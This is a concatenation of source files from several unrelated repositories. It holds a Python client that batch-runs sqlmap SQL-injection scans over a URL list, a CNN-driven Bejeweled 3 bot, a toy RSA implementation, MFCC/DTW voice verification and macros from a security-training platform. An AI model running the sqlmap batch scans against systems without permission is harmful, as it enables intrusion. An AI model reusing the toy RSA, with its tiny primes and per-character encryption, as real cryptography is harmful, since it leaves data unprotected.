engine<%s>, Response<%s>" % (self.taskid, self.engineid, resp.status_code)) def kill_scan(self): uri = "".join(["/scan/", self.taskid, "/kill"]) try: resp = requests.get(urljoin(self.addr, uri)) except requests.RequestException as e: raise e if resp.status_code == 200: r = resp.json() if r.get("success", False): logger.info("Task<%s> kill engine<%s>", self.taskid, self.engineid) return True else: raise OperationFailed("Task<%s> failed to kill engine<%s>:%s" % (self.taskid, self.engineid, r.get("message"))) else: raise OperationFailed("Task<%s> failed to kill engineid<%s>,Response<%s>" % (self.taskid, self.engineid, resp.status_code)) def get_scan_status(self): uri = "".join(["/scan/", self.taskid, "/status"]) try: resp = requests.get(urljoin(self.addr, uri)) except requests.RequestException as e: raise e if resp.status_code == 200: r = resp.json() if r.get("success", False): status, retcode = r.get("status"), r.get("returncode") logger.info("Engine<%s>(Task<%s>) status: %s", self.engineid, self.taskid, status) return retcode else: raise OperationFailed("Failed to get engine<%s>(Task<%s>) status:%s" % (self.engineid, self.taskid, r.get("message"))) else: raise OperationFailed("Failed to get engine<%s>(Task<%s>) status,Response<%s>" % (self.engineid, self.taskid, resp.status_code)) def get_scan_report(self): uri = "".join(["/scan/", self.taskid, "/data"]) try: resp = requests.get(urljoin(self.addr, uri)) except requests.RequestException as e: raise e if resp.status_code == 200: r = resp.json() if r.get("success", False): data, error = r.get("data"), r.get("error") logger.info("Get engine<%s>(Task<%s>) report, error: %s", self.engineid, self.taskid, error) return data, error else: raise OperationFailed("Failed to get engine<%s>(Task<%s>) report:%s" % (self.engineid, self.taskid, r.get("message"))) else: raise OperationFailed("Failed to get engine<%s>(Task<%s>) report,Response<%s>" % (self.engineid, self.taskid, resp.status_code)) def set_option(self, key, value): self.options[key] = value return self def run(self, url=None, timeout=None): if url: self.scan_url = url self.set_option("url", url) if timeout: timer = Timer(timeout, self.ontimeout) timer.start() result = [] try: self.start_scan() retcode = self.get_scan_status() while retcode is None: time.sleep(5) retcode = self.get_scan_status() if retcode == 0: result, _ = self.get_scan_report() if timeout: timer.cancel() except OperationFailed as e: if timeout: timer.cancel() raise e return Report(url, result) def ontimeout(self): if self.get_scan_status() is None: self.kill_scan() def clear_output(self, path=None): if path is None: path = os.path.join(os.getenv("HOME"), ".sqlmap/output") taskdir = os.path.join(path, urlparse(self.scan_url).hostname) if os.path.exists(taskdir): shutil.rmtree(taskdir) ####################################################################### if __name__ == '__main__': filepath = "test.txt" f = open(filepath, "r") client = SqlmapClient() try: taskid = client.create_task() except Exception as e: logger.error("Failed to create task: %s", e) sys.exit(1) client.set_option("dbms", "mysql") # .set_option("bulkFile", filepath) for url in f.readlines(): try: report = client.run(url.strip()) client.clear_output() for d in report.contents[0].values[0].data: logger.info("id: %s, title: %s", d.id, d.title) except Exception as e: logger.error(e) continue client.delete_task(taskid) f.close()
[ "/report.py", "/sqlmapcli.py" ]
0x237/Bejeweled3Bot
''' pymouse是PyUserInput模块的一部分。 需要pip安装pywin32,以及pyhook。 pyhook需要去https://www.lfd.uci.edu/~gohlke/pythonlibs/下载whl文件来安装。 ''' from pymouse import PyMouse from PIL import ImageGrab import win32gui import time import tensorflow as tf import numpy as np class Bejewedled3(object): ''' 宝石迷阵类 wnd 窗口句柄 box 游戏区域 mousebase 游戏区域左上角 mouse 鼠标 matriximg 游戏区域截图 jewmatrix 宝石方阵 colorsess 宝石颜色识别模型对话 levelsess 宝石类别识别模型对话 goon 是否无解 ''' def __init__(self): self.wnd = win32gui.FindWindow(None, 'Bejeweled 3') x1, y1, x2, y2 = win32gui.GetWindowRect(self.wnd) self.box = (x1*1.25+270, y1*1.25+75, x2*1.25-35, y2*1.25-61) self.mousebase = [int(x1*1.25+270), int(y1*1.25+75)] self.mouse = PyMouse() self.colorgraph = tf.Graph() with self.colorgraph.as_default(): colorsaver = tf.train.import_meta_graph('.\\model\\color\\colormodel.ckpt-1201.meta') self.colorsess = tf.Session(graph=self.colorgraph) colorsaver.restore(self.colorsess, '.\\model\\color\\colormodel.ckpt-1201') self.levelgraph = tf.Graph() with self.levelgraph.as_default(): levelsaver = tf.train.import_meta_graph('.\\model\\level\\levelmodel.ckpt-601.meta') self.levelsess = tf.Session(graph=self.levelgraph) levelsaver.restore(self.levelsess, '.\\model\\level\\levelmodel.ckpt-601') self.goon = True self.jewmatrix = list() self.matriximg = ImageGrab.grab(self.box) print('init finished') def __del__(self): self.colorsess.close() self.levelsess.close() # 将宝石数字矩阵转换为颜色矩阵并输出 def showclrmatrix(self): clrmatrix = list() clrlist = ['紫', '白', '绿', '黄', '蓝', '红', '橙', '黑'] for row in range(8): clrrow = list() for col in range(8): clrrow.append(clrlist[self.jewmatrix[col][row]//10]+str(self.jewmatrix[col][row]%10)) clrmatrix.append(clrrow) print('宝石阵:') for i in range(len(clrmatrix)): print(clrmatrix[i]) # 交换操作 def swapjew(self, x1, y1, x2, y2): time.sleep(0.3) self.mouse.click(int((x1*64+31+self.mousebase[0])*0.8), int((y1*64+31+self.mousebase[1])*0.8)) time.sleep(0.3) self.mouse.click(int((x2*64+31+self.mousebase[0])*0.8), int((y2*64+31+self.mousebase[1])*0.8)) # 截屏,获得排列矩阵# def makejewmatrix(self): self.matriximg = ImageGrab.grab(self.box) # self.matriximg.save('tmp\\'+str(time.time())+'.jpg', 'jpeg') self.jewmatrix = list() for col in range(8): jewcol = list() for row in range(8): img_name = str(time.time()) img = self.matriximg.crop((col*64, row*64, col*64+63, row*64+63)) jew_color = self.whichcolor(img) jew_level = self.whichlevel(img) jewcol.append(jew_color*10 + jew_level) # img.save('tmp\\'+img_name+'.jpg', 'jpeg') # print(img_name + ': ', jew_color) self.jewmatrix.append(jewcol) # 判断某个坐标处是什么颜色宝石 def whichcolor(self, jewimg): '''获取3*3方框平均颜色''' # jewimg = jewimg.crop((20, 20, 44, 44)) jewimg = jewimg.resize((24, 24)) imgdata = np.array(list(jewimg.getdata())).T imgdata.reshape(-1, ) res = self.colorsess.run(self.colorgraph.get_tensor_by_name('prediction:0'), feed_dict={self.colorgraph.get_tensor_by_name('x:0'): imgdata.reshape((-1, 3, 576)), self.colorgraph.get_tensor_by_name('keep_prob:0'): 1}) return np.argmax(res, 1)[0] # 判断某个坐标处是什么类型宝石 def whichlevel(self, jewimg): '''获取3*3方框平均颜色''' jewimg = jewimg.resize((24, 24)) imgdata = np.array(list(jewimg.getdata())).T imgdata.reshape(-1, ) res = self.levelsess.run(self.levelgraph.get_tensor_by_name('prediction:0'), feed_dict={self.levelgraph.get_tensor_by_name('x:0'): imgdata.reshape((-1, 3, 576)), self.levelgraph.get_tensor_by_name('keep_prob:0'): 1}) return np.argmax(res, 1)[0] # 产生可行操作 def makeactions(self): def isblack(mtx, x, y): if mtx[x][y] == 7: return True else: return False def isysame(mtx, x, y1, y2, y3): if y1 < 0 or y1 > 7 or y2 < 0 or y2 > 7 or y3 < 0 or y3 > 7: return False elif mtx[x][y1] == mtx[x][y2] and mtx[x][y1] == mtx[x][y3]: return True else: return False def isxsame(mtx, y, x1, x2, x3): if x1 < 0 or x1 > 7 or x2 < 0 or x2 > 7 or x3 < 0 or x3 > 7: return False elif mtx[x1][y] == mtx[x2][y] and mtx[x1][y] == mtx[x3][y]: return True else: return False def tryswap(mtx, x1, y1, x2, y2): if x2 < 0 or x2 > 7 or y2 < 0 or y2 > 7: return False else: mtx[x1][y1], mtx[x2][y2] = mtx[x2][y2], mtx[x1][y1] if isblack(mtx, x1, y1) or isblack(mtx, x2, y2) \ or isysame(mtx, x2, y2-2, y2-1, y2) or isysame(mtx, x2, y2-1, y2, y2+1) \ or isysame(mtx, x2, y2, y2+1, y2+2) \ or isxsame(mtx, y2, x2-2, x2-1, x2) or isxsame(mtx, y2, x2-1, x2, x2+1) \ or isxsame(mtx, y2, x2, x2+1, x2+2) \ or isysame(mtx, x1, y1-2, y1-1, y1) or isysame(mtx, x1, y1-1, y1, y1+1) \ or isysame(mtx, x1, y1, y1+1, y1+2) \ or isxsame(mtx, y1, x1-2, x1-1, x1) or isxsame(mtx, y1, x1-1, x1, x1+1) \ or isxsame(mtx, y1, x1, x1+1, x1+2): mtx[x1][y1], mtx[x2][y2] = mtx[x2][y2], mtx[x1][y1] return True else: mtx[x1][y1], mtx[x2][y2] = mtx[x2][y2], mtx[x1][y1] return False matrixcopy = self.jewmatrix.copy() ans = False for row in range(8): for col in range(8): if tryswap(matrixcopy, col, row, col+1, row): self.swapjew(col, row, col+1, row) ans = True break elif tryswap(matrixcopy, col, row, col, row+1): self.swapjew(col, row, col, row+1) ans = True break if not ans: print('无解') # self.goon = False # 开始破解迷阵--ZEN模式 def run(self): while self.goon: self.mouse.click(int(self.mousebase[0]*0.8)-20, int(self.mousebase[1]*0.8)) self.makejewmatrix() self.showclrmatrix() self.makeactions() self.mouse.move(int(self.mousebase[0]*0.8)-20, int(self.mousebase[1]*0.8)) time.sleep(3) --- FILE SEPARATOR --- import os import numpy as np from PIL import Image from pandas.core.frame import DataFrame imgdir = os.listdir("..\\jews") train_data = list() test_data = list() for eachdir in imgdir: cnt = 0 lable = int(eachdir[0]) for eachimg in os.listdir("..\\jews\\"+eachdir): datarow = [lable] img = Image.open("..\\jews\\"+eachdir+"\\"+eachimg) img = img.resize((24, 24)) imgdata = np.array(list(img.getdata())).T imgdata = imgdata.reshape(-1, ) datarow.extend(imgdata.tolist()) if cnt < 16: test_data.append(datarow) else: train_data.append(datarow) cnt += 1 train_pddata = DataFrame(train_data) train_pddata.rename(columns={0: 'label'}, inplace=True) train_pddata.to_csv("train.csv", index=False) test_pddata = DataFrame(test_data) test_pddata.rename(columns={0: 'label'}, inplace=True) test_pddata.to_csv("test.csv", index=False) --- FILE SEPARATOR --- from PIL import ImageGrab import win32gui import time from pymouse import PyMouse ''' 颜色代号对应关系 普通 火焰 闪烁 紫色:00 01 02 白色:10 11 12 绿色:20 21 22 黄色:30 31 32 蓝色:40 41 42 红色:50 51 52 橙色:60 61 62 魔方:701 ''' def getjewsimg(box, col, row, lable): matriximg = ImageGrab.grab(box) imgname = time.time() for i in range(len(col)): jewimg = matriximg.crop((col[i] * 64, row[i] * 64, col[i] * 64 + 63, row[i] * 64 + 63)) jewimg.save("jews3\\"+lable[i]+"\\"+str(imgname)+str(i)+".jpg", "jpeg") cols = [2] rows = [5] lables = ["701"] wnd = win32gui.FindWindow(None, "Bejeweled 3") x1, y1, x2, y2 = win32gui.GetWindowRect(wnd) box = (x1 * 1.25 + 270, y1 * 1.25 + 75, x2 * 1.25 - 35, y2 * 1.25 - 61) mousebase = [int(x1*1.25+270), int(y1*1.25+75)] mouse = PyMouse() for i in range(1000): mouse.click(int(mousebase[0] * 0.8) - 20, int(mousebase[1] * 0.8)) getjewsimg(box, cols, rows, lables) time.sleep(0.277) if i%10 == 0: print(i,"finished") --- FILE SEPARATOR --- import tensorflow as tf import pandas as pd import numpy as np from random import sample logdir = ".\\tflog" # Load data train_data = pd.read_table("train.csv", sep=',') test_data = pd.read_table("test.csv", sep=',') # Split train and test # train_index = np.random.randint(0,data.shape[0]-1,data.shape[0]/2-1) train = train_data.drop('label', 1) Y = train_data['label'] test = test_data.drop('label', 1) Y_test = test_data['label'] # Reshape data images = train.iloc[:, :].values images = images.astype(np.float) test_images = test.iloc[:, :].values test_images = test_images.astype(np.float) # Convert from [0:255] to [0.0:1.0] images = np.multiply(images, 1.0 / 255.0) images = images.reshape(-1, 3, 576) test_images = np.multiply(test_images, 1.0 / 255.0) test_images = test_images.reshape(-1, 3, 576) # New train data recognized by human , bind into label and image # new_label = pd.read_table('~/Github/Python/tf/obscure_digit.csv',sep=',') # new_train = pd.read_table('~/Github/Python/tf/obscure_images.csv',sep=',') # new_train = new_train.iloc[:,:].values # images = np.concatenate((new_train, images), axis = 0) # Y = pd.concat((new_label.ix[:,0], Y), axis=0) # convert class labels from scalars to one-hot vectors # 0 => [1 0 0 0 0 0 0 0 0 0] # 1 => [0 1 0 0 0 0 0 0 0 0] # ... # 9 => [0 0 0 0 0 0 0 0 0 1] def dense_to_one_hot(labels_dense, num_classes): num_labels = labels_dense.shape[0] index_offset = np.arange(num_labels) * num_classes labels_one_hot = np.zeros((num_labels, num_classes)) labels_one_hot.flat[index_offset + labels_dense.ravel()] = 1 return labels_one_hot labels_flat = Y.values.ravel() labels_test_flat = Y_test.values.ravel() # labels_count = 22 labels_count = 3 labels = dense_to_one_hot(labels_flat, labels_count) labels = labels.astype(np.uint8) labels_test = dense_to_one_hot(labels_test_flat, labels_count) labels_test = labels_test.astype(np.uint8) ''' # Load test data test = pd.read_table("test.csv", sep=',') images_test = test.iloc[:, :].values images_test = images_test.astype(np.float) images_test = np.multiply(images_test, 1.0 / 255.0) images_test = images_test.reshape(-1, 3, 576) ''' # Set parameters batch_size = 16 train_iters = 3000 display_step = 10 save_step = 200 # Dynamically adjust learning rate global_step = tf.Variable(0, trainable=False) # Stuck when starting learning rate is 0.1, 0.05, 0.01 learning_rate = tf.train.exponential_decay( 0.001, # Base learning rate. global_step, # Current index into the dataset. train_iters // 15, # Decay step. 0.9, # Decay rate. staircase=True) # Network Parameters n_input = 24*24 n_depth = 3 n_class = 3 # No drop out dropout = 1 # tf Graph input x = tf.placeholder(tf.float32, [None, n_depth, n_input], name="x") y = tf.placeholder(tf.float32, [None, n_class], name="y") # Drop (keep probability) keep_prob = tf.placeholder(tf.float32, name="keep_prob") # Creat model def conv2d(img, w, b): return tf.nn.relu(tf.nn.bias_add(tf.nn.conv2d(img, w, strides=[1, 1, 1, 1], padding='SAME'), b)) def max_pool(img, k): return tf.nn.max_pool(img, ksize=[1, k, k, 1], strides=[1, k, k, 1], padding='SAME') # Store layers weight & bias # 5x5 conv, 1 input, 32 outputs wc1 = tf.Variable(tf.truncated_normal([5, 5, 3, 32], stddev=0.5), name="wc1") bc1 = tf.Variable(tf.zeros([32]), name="bc1") # 5x5 conv, 32 inputs, 64 outputs wc2 = tf.Variable(tf.truncated_normal([5, 5, 32, 64], stddev=0.1), name="wc2") bc2 = tf.Variable(tf.random_normal(shape=[64]), name="bc2") # 5x5 conv, 64 inputs, 128 outputs wc3 = tf.Variable(tf.truncated_normal([5, 5, 64, 128], stddev=0.1), name="wc3") bc3 = tf.Variable(tf.random_normal(shape=[128]), name="bc3") # 5x5 conv, 128 inputs, 256 outputs wc4 = tf.Variable(tf.truncated_normal([5, 5, 128, 256], stddev=0.1), name="wc4") bc4 = tf.Variable(tf.random_normal(shape=[256]), name="bc4") # Fully connected, 256 inputs, 1024 outputs wd1 = tf.Variable(tf.truncated_normal([1 * 1 * 256, 1024], stddev=0.1), name="wd1") bd1 = tf.Variable(tf.random_normal(shape=[1024]), name="bd1") # 1024 inputs, 10 ouputs (class prediciton) wout = tf.Variable(tf.truncated_normal([1024, n_class], stddev=0.1), name="wout") bout = tf.Variable(tf.random_normal(shape=[n_class]), name="bout") # Construct model _X = tf.reshape(x, shape=[-1, 24, 24, 3]) # (Convolution Layer, MaxPooling, Dropout)*4 conv1 = conv2d(_X, wc1, bc1) conv1 = max_pool(conv1, k=3) conv1 = tf.nn.dropout(conv1, keep_prob) conv2 = conv2d(conv1, wc2, bc2) conv2 = max_pool(conv2, k=3) conv2 = tf.nn.dropout(conv2, keep_prob) conv3 = conv2d(conv2, wc3, bc3) conv3 = max_pool(conv3, k=4) conv3 = tf.nn.dropout(conv3, keep_prob) conv4 = conv2d(conv3, wc4, bc4) conv4 = max_pool(conv4, k=2) conv4 = tf.nn.dropout(conv4, keep_prob) # Full connected layer, Relu activation, Apply dropout # Reshape conv4 output to fit dense layer input dense1 = tf.reshape(conv4, [-1, wd1.get_shape().as_list()[0]]) dense1 = tf.nn.relu(tf.add(tf.matmul(dense1, wd1), bd1)) dense1 = tf.nn.dropout(dense1, keep_prob) # Output, class prediction pred = tf.nn.softmax(tf.matmul(dense1, wout) + bout, name="prediction") # Define loss and optimizer cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=tf.matmul(dense1, wout) + bout, labels=y)) tf.summary.scalar('loss', cost) optimizer = tf.train.RMSPropOptimizer(learning_rate=learning_rate, momentum=0.5).minimize(cost, global_step=global_step) merged = tf.summary.merge_all() # Initializing the variables init = tf.global_variables_initializer() modelsaver = tf.train.Saver(max_to_keep=1) # Launch the graph with tf.Session() as sess: writer = tf.summary.FileWriter(logdir, sess.graph) # 将训练日志写入到logs文件夹下 sess.run(init) for i in range(train_iters): idx = sample(range(4048), batch_size) batch_xs = images[idx] batch_ys = labels[idx] sess.run(optimizer, feed_dict={x: batch_xs, y: batch_ys, keep_prob: dropout}) if i % display_step == 0: loss = sess.run(cost, feed_dict={x: batch_xs, y: batch_ys, keep_prob: 1.}) print("Iter" + str(i) + ", Minibatch Loss= " + "{:.15f}".format(loss)) rs = sess.run(merged, feed_dict={x: batch_xs, y: batch_ys, keep_prob: dropout}) writer.add_summary(rs, i) if i % save_step == 0: test_count = 0 true_predict_count = 0 test_count_map = dict() true_predict_count_map = dict() for j in range(len(test_images)//batch_size): idx = [x+j*batch_size for x in range(batch_size)] batch_test_x = test_images[idx] batch_test_y = labels_test[idx] predict_res = sess.run(pred, feed_dict={x: batch_test_x, keep_prob: dropout}) batch_test_label = np.argmax(labels_test[idx], 1) predict_label = np.argmax(predict_res, 1) for ii in range(batch_size): test_count += 1 if batch_test_label[ii] not in test_count_map: test_count_map[batch_test_label[ii]] = 0 test_count_map[batch_test_label[ii]] += 1 if batch_test_label[ii] == predict_label[ii]: true_predict_count += 1 if batch_test_label[ii] not in true_predict_count_map: true_predict_count_map[batch_test_label[ii]] = 0 true_predict_count_map[batch_test_label[ii]] += 1 # print('batch_test_y:', np.argmax(batch_test_y, 1)) # print('predict_res:', predict_res) # print('predict_res:', np.argmax(predict_res, 1)) modelsaver.save(sess, "..\\..\\model\\level\\levelmodel.ckpt", global_step=global_step) print('\nall:{}, true:{}, rate:{} \n all_map:{}, true_map:{}\n'.format(test_count, true_predict_count, true_predict_count/test_count, test_count_map, true_predict_count_map)) print("train Finished!") writer.close() --- FILE SEPARATOR --- """ pymouse是PyUserInput模块的一部分。 需要pip安装pywin32,以及pyhook。 pyhook需要去https://www.lfd.uci.edu/~gohlke/pythonlibs/下载whl文件来安装。 """ import pyHook import pythoncom import sys from Bejewedled3 import Bejewedled3 import threading # 游戏执行 def bejewrun(): bejew = Bejewedled3() bejew.run() # q键退出程序 def keyctrl(event): if chr(event.Ascii) == 'q': sys.exit(0) return True if __name__ == '__main__': # 新建线程自动游戏,并设置为守护线程 bejewthd = threading.Thread(target=bejewrun) bejewthd.setDaemon(True) bejewthd.start() # 监听键盘 hm = pyHook.HookManager() hm.KeyDown = keyctrl hm.HookKeyboard() pythoncom.PumpMessages() --- FILE SEPARATOR --- from PIL import Image import tensorflow as tf import numpy as np levelgraph = tf.Graph() with levelgraph.as_default(): levelsaver = tf.train.import_meta_graph(".\\model\\level\\levelmodel.ckpt-601.meta") levelsess = tf.Session(graph=levelgraph) levelsaver.restore(levelsess, ".\\model\\level\\levelmodel.ckpt-601") jewimg = Image.open(".\\tmp\\1611482077.8908546.jpg") jewimg = jewimg.resize((24, 24)) imgdata = np.array(list(jewimg.getdata())).T imgdata.reshape(-1, ) res = levelsess.run(levelgraph.get_tensor_by_name("prediction:0"), feed_dict={levelgraph.get_tensor_by_name("x:0"): imgdata.reshape((-1, 3, 576)), levelgraph.get_tensor_by_name("keep_prob:0"): 1}) label = np.argmax(res, 1)[0] print(label)
[ "/Bejewedled3.py", "/jewscnn/color/createdata.py", "/jewscnn/color/jewscapture.py", "/jewscnn/level/jewscnn.py", "/play.py", "/test.py" ]
0x252/rsa-check
#!/bin/python3 from rsa.rsa import RSA as rsa import sys def main(): if len(sys.argv) < 2: print("%s msg" % sys.argv[0]) return False r = rsa() crypted=r.crypt_message(sys.argv[1]) print("Crypted") print(crypted) decrypted=r.decrypt_message(crypted) print("Decrypted") print(decrypted) print( r.getKeysPair() ) print( r.getKeysExternalInfo() ) #print( r.getKeyPairFor(3,11) ) main() --- FILE SEPARATOR --- import random DEBUG=False class RSA: def is_prime(self, num): a=num-1 while a > 1: #print("num(%d)/a(%d) = %d" % (num,a, num/a)) if (num%a) == 0: return False a = a -1 return True def get_primenum(self, from_,o='+'): a=from_ while not self.is_prime(a): if o == '+': a=a+1 elif o=='-': a=a-1 else: return False return a def getKeysExternalInfo(self): return { 'p':self.p, 'q':self.q, 'phi':self.phi } #return e,d,n where e-encryption key, d - decryption key, n - N whose publicQ def get_ed( self, frm=8, to=10, plus=1 ): #while not is_prime(n): p,q=(random.randint(2**frm , 2**to),random.randint(2**frm , 2**to) ) p,q=(self.get_primenum(p+plus),self.get_primenum(q+plus)) n = p*q phi=(p-1)*(q-1) self.p=p self.q=q self.phi=phi d=p+plus d=self.get_primenum(d) e=random.randint(2**frm,2**to) if DEBUG: print("public key generation.") while e*d % phi != 1: e=e+plus if e > phi: print("WARNING: e>phi") e=d+1 if DEBUG: print ( "DEBUG: e=%d;d=%d;n=%d;" % (e,d,n) ) return e,d,n def getKeysPair(self): return { 'public': (self.encryptionKey,self.n), 'private': (self.decryptionKey,self.n) } def getKeyPairFor(self,p,q): n=p*q phi=(p-1)*(q-1) d=p e=1 while e*d % phi != 1: e = e + 1 return {'e':e,'d':d,'n':n, 'phi':phi,'p':p,'q':q} def __init__(self, e=0,d=0,n=0,use=True): if use: if e!=0 and d!=0 and n!=0: self.init_self_key(e,d,n) else: e,d,n = self.get_ed() self.init_self_key(e,d,n) def init_self_key(self,e,d,n): self.encryptionKey=e self.decryptionKey=d self.n=n def crypt_message(self, msg, encryptionKey=-1, n=-1): if encryptionKey == -1 or n==-1: if self.encryptionKey == 0 or self.n==-1: return False encryptionKey=self.encryptionKey if n==-1: n = self.n encryptList=[] for c in msg: encryptList.append( ord(c)**encryptionKey % n ) return encryptList def decrypt_message(self, msg,decryptionKey=-1,n=-1): if decryptionKey == -1 or n==-1: if self.decryptionKey == 0 or self.n==-1: return False decryptionKey=self.decryptionKey if n==-1: n = self.n decryptChars=[] for c in msg: decryptChars.append( chr(c**decryptionKey % n) ) return decryptChars
[ "/main.py", "/rsa/rsa.py" ]
0x38/Voice-recognition
import numpy as np def dynamic_time_warping(x, y): """ Measures the similarity between time series :param x: first time series :param y: second time series :return: measure of similarity """ # create local distance matrix distance_matrix = np.zeros((len(x), len(y))); for i in range(0, len(x)): for j in range(0, len(y)): distance_matrix[i, j] = np.linalg.norm(x[i] - y[j]) # initialize dtw matrix dtw_matrix = np.zeros((len(x), len(y))) dtw_matrix[0, 0] = distance_matrix[0, 0] # first column initialization for i in range(1, len(x)): dtw_matrix[i, 0] = dtw_matrix[i-1, 0] + distance_matrix[i, 0] # first row initialization for j in range(1, len(y)): dtw_matrix[0, j] = dtw_matrix[0, j-1] + distance_matrix[0, j] # calculate remaining dtw_matrix elements for i in range(1, len(x)): for j in range(1, len(y)): dtw_matrix[i, j] = min(dtw_matrix[i-1, j-1], dtw_matrix[i-1, j], dtw_matrix[i, j-1]) + distance_matrix[i, j] return dtw_matrix[len(x)-1, len(y)-1] def dist(x, y): return np.sqrt(np.sum((x-y)**2)) --- FILE SEPARATOR --- import numpy as np import scipy.fftpack import matplotlib.pyplot as plt import wave, struct def pre_emphasis(x, a=0.97): """ Enhances higher frequencies in the signal :param x: input signal :param a: pre-emphasis coefficient :return: signal with enhanced higher frequencies """ x = x[1:] - a * x[:-1] return x def voice_feature_extraction(infile): """ Calculates the MFCC vectors of a given signal :param infile: audio file (.wav format) :return: vector of MFCC features """ # read audio file waveFile = wave.open(infile, 'r') sampling_rate = waveFile.getframerate() signal = list() length = waveFile.getnframes() for i in range(0, length): waveData = waveFile.readframes(1) data = struct.unpack("<h", waveData) signal.append(int(data[0])) signal = np.array(signal) # signal pre_emphasis signal = pre_emphasis(signal) # divide into n[ms] overlapping frames n = 30 step_ms = 25 samples_per_frame = int(sampling_rate/1000 * n) frame_step = int(sampling_rate/1000 * step_ms) frame_count = int(len(signal) / frame_step) frames = list() for i in range(0, frame_count): frames.append(signal[(i*frame_step):(i*frame_step + samples_per_frame)]) # calculate MFCC vector for each frame feature_vector = list() for frame in frames: mfcc = MFCC(frame * np.hamming(len(frame)), sampling_rate) delta = derivative(mfcc) delta_delta = derivative(delta) mfcc = np.append(mfcc, delta) mfcc = np.append(mfcc, delta_delta) feature_vector.append(mfcc) return feature_vector def MFCC(windowed_frame, sampling_rate): """ Calculates the MFCC vector of single frame :param windowed_frame: windowed frame of audio input :return: MFCC vector """ # calculate power spectrum spectrum = np.fft.fft(windowed_frame) power_spectrum = np.square(np.abs(spectrum))/len(spectrum) # generate triangular filters triangle_filters = get_filter_bank(sampling_rate, len(spectrum)) # Apply filters to power spectrum S = triangle_filters.dot(power_spectrum) S = np.where(S == 0, np.finfo(float).eps, S) return dct(np.log(S))[1:12] def get_filter_bank(sampling_rate, signal_length, count=24, lower_bound=0, upper_bound=800): lower_mel = frequency_to_mel(lower_bound) upper_mel = frequency_to_mel(sampling_rate/2) mel_samples = np.linspace(lower_mel, upper_mel, count + 2) frequency_samples = mel_to_frequency(mel_samples) frequency_bins = np.floor((signal_length+1) * frequency_samples / sampling_rate) filter_bank = np.zeros([count, signal_length]) for j in range(0, count): for i in range(int(frequency_bins[j]), int(frequency_bins[j + 1])): filter_bank[j, i] = (i - frequency_bins[j]) / (frequency_bins[j + 1] - frequency_bins[j]) for i in range(int(frequency_bins[j + 1]), int(frequency_bins[j + 2])): filter_bank[j, i] = (frequency_bins[j + 2] - i) / (frequency_bins[j + 2] - frequency_bins[j + 1]) return filter_bank def derivative(mfcc_vector, N=2): return mfcc_vector[N:] - mfcc_vector[:-N] def lift(mfcc_vector, L=22): n = np.arange(len(mfcc_vector)) return mfcc_vector * (1 + L/2 * np.sin(np.pi * n /L)) def frequency_to_mel(f): """ Converts frequency value(Hz) to mels :param f: frequency value(Hz) :return: """ return 2595 * np.log10(1 + f/700.0) def mel_to_frequency(mel): """ Converts mels to frequency value(Hz) :param mel: mel value :return: """ return 700 * (10**(mel/2595.0) - 1) def dct(y): N = len(y) y2 = np.empty(2*N,float) y2[:N] = y[:] y2[N:] = y[::-1] c = np.fft.rfft(y2) phi = np.exp(-1j*np.pi*np.arange(N)/(2*N)) return np.real(phi*c[:N]) --- FILE SEPARATOR --- import MFCC import DTW import numpy as np import sys import os import csv def calculate_within_cluster_distance(filepath): feature_vectors = list() samples = os.listdir(filepath) for sample in samples: feature_vectors.append(MFCC.voice_feature_extraction(os.path.join(filepath, sample))) distances = list() for i in range(0, len(feature_vectors)): for j in range(i+1, len(feature_vectors)): distances.append(DTW.dynamic_time_warping(feature_vectors[i], feature_vectors[j])) return np.max(distances) if len(sys.argv) != 2: print("Usage: calculate_distance <path_to_database>") exit(-1) database_filepath = sys.argv[1] persons = os.listdir(database_filepath) with open('cluster_distances.csv', 'w') as csvfile: writer = csv.writer(csvfile) writer.writerow(['path', 'distance']) for person in persons: words = os.listdir(os.path.join(database_filepath, person)) for word in words: samples_path = os.path.join(database_filepath, person, word) print(samples_path) distance = calculate_within_cluster_distance(samples_path) writer.writerow([samples_path, distance]) --- FILE SEPARATOR --- import MFCC import DTW import os import numpy as np import pandas import sys def calculate_cluster_distance(sample, database): distances = list() sample_feature_vector = MFCC.voice_feature_extraction(sample) for database_sample in os.listdir(database): database_feature_vector = MFCC.voice_feature_extraction(os.path.join(database, database_sample)) distances.append(DTW.dynamic_time_warping(sample_feature_vector, database_feature_vector)) return np.mean(distances) def verify_voice_sample(sample, database): distance = calculate_cluster_distance(sample, database) df = pandas.read_csv('cluster_distances.csv') series = df.loc[df['path'] == database]['distance'] print(distance) print(series.iloc[0]) return distance <= series.iloc[0] if __name__ == "__main__": result = verify_voice_sample(sys.argv[1], sys.argv[2]) print('Accepted' if result else 'Denied')
[ "/DTW.py", "/MFCC.py", "/calculate_distances.py", "/voice_verification.py" ]
0x64746b/Insekta
import re from genshi.builder import tag from genshi import Markup from creoleparser import Parser, create_dialect, creole11_base from django.utils.translation import ugettext as _ from pygments import highlight from pygments.lexers import get_lexer_by_name from pygments.formatters import HtmlFormatter from pygments.util import ClassNotFound def enter_secret(macro, environ, *secrets): """Macro for entering a secret. Takes a several secrets as args. Requires the following keys in the environ: ``user`` An instance of :class:`django.contrib.auth.models.User`. Will be used to generate a security token of a secret that is only valid for this user. ``enter_secret_target`` An url for the action attribute of the form element. Submitting the form will generate a POST request with the following data: ``secret`` The secret which was entered by the user ``secret_token`` Occurs several times, one time for each secret that is valid for this form. It is a security token that is build by generating a HMAC with ``settings.SECRET_KEY`` as key. The message is the user id and the valid secret divided by a colon. ``all_secrets`` A list of strings containing all available secrets for this scenario. ``submitted_secrets`` A list of strings containing all secrets submitted by the user for this scenario. ``secret_token_function`` A function that calculates the secret's security token. Takes an user and a secret. ``csrf_token`` Django's CSRF token. Use :func:`django.middleware.csrf.get_token` to get it. """ target = environ['enter_secret_target'] user = environ['user'] form = tag.form(macro.parsed_body(), method='post', action=target) # If there are no secrets in the arguments, we will accept all secrets if not secrets: secrets = environ['all_secrets'] # If all secrets are already submitted, hide this box if all(secret in environ['submitted_secrets'] for secret in secrets): return '' for secret in secrets: secret_token = environ['secret_token_function'](user, secret) form.append(tag.input(name='secret_token', value=secret_token, type='hidden')) form.append(tag.input(type='hidden', name='csrfmiddlewaretoken', value=environ['csrf_token'])) p = tag.p(tag.strong(_('Enter secret:')), ' ') p.append(tag.input(name='secret', type='text')) p.append(tag.input(type='submit', name='enter_secret', value=_('Submit'))) form.append(p) return tag.div(form, class_='enter_secret') def require_secret(macro, environ, *secrets): """Macro for hiding text that can be shown by submitting a secret. You can provide several secrets as arguments. If ANY of the secret was submitted by the user, the content is shown. Requires the following keys in the environ: ``submitted_secrets`` A set of secrets for 